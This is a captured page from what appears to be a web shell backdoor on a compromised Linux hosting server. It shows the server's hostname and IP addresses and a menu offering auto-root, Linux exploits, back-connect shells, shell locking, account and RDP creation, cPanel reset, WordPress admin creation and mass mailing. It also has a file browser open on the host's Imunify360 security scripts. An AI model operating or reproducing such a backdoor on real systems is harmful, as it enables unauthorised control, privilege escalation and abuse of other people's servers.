Linux eyewebsolution.dnshostserver.in 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
Apache
: 185.131.55.234 | : 216.73.216.138
676 Domain
5.6.40
omxrelocation
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
imunify360 /
venv /
share /
imunify360 /
scripts /
[ HOME SHELL ]
Name
Size
Permission
Action
check-detached.py
1.11
KB
-rwxr-xr-x
check_recurrent.py
1.85
KB
-rwxr-xr-x
create_default_config
1.23
KB
-rwxr-xr-x
csf_tool
2.75
KB
-rwxr--r--
delay_on_cron_call.py
1.12
KB
-rwxr-xr-x
disable_3rd_party_ids
1.01
KB
-rwxr--r--
imunify-disable-cpu-accounting...
792
B
-rwxr--r--
imunify-doctor.sh
17.1
KB
-rwxr--r--
imunify-force-update.sh
3.16
KB
-rwxr--r--
lfd_block.py
2.96
KB
-rwxr--r--
mk_apache_conf_digest.pl
3.55
KB
-rwxr--r--
purge-clamav
535
B
-rwxr-xr-x
remove_hardened_php.py
3.59
KB
-rwxr-xr-x
rules_checker.py
10.8
KB
-rwxr-xr-x
send-notifications
7.01
KB
-rwsrwx---
setup_cagefs.py
3.72
KB
-rwx------
track-fpfn-submissions.sh
3.8
KB
-rwxr-xr-x
update_components_versions.py
4.46
KB
-rwxr-xr-x
whitelist_cache.py
1.46
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : check_recurrent.py
#!/opt/imunify360/venv/bin/python import socket import json import time from pathlib import Path from logging import getLogger from defence360agent.internals import logger as lg from defence360agent.contracts.config import SimpleRpc from defence360agent.subsys.persistent_state import PERSISTENT_STATE_DIR logger = getLogger("check_recurrent") def is_need_to_run(lock_file: Path): try: content = lock_file.read_text() next_run = float(content) if content else 0 current_time = time.time() if current_time >= next_run: logger.info( "Need to wakeup agent to process scheduled task %s " "(scheduled time: %d, current time: %d, next run in: %d)", lock_file.name, current_time, next_run, next_run - current_time, ) return True return False except (FileNotFoundError, ValueError) as e: logger.error( "Error while reading scheduled-lock file %s %s", lock_file, e ) return False def main(): for lock_file in PERSISTENT_STATE_DIR.glob("*.lock"): if is_need_to_run(lock_file): try: with socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) as sock: sock.settimeout(30) sock.connect(SimpleRpc.SOCKET_PATH) # it's doesn't matter what we send, we just need to wake up the server msg = ( json.dumps({"command": ["wakeup"], "params": {}}) + "\n" ) sock.sendall(msg.encode()) except Exception as e: logger.error("Failed to connect to rpc socket %s", e) else: return if __name__ == "__main__": lg.reconfigure() main()
Close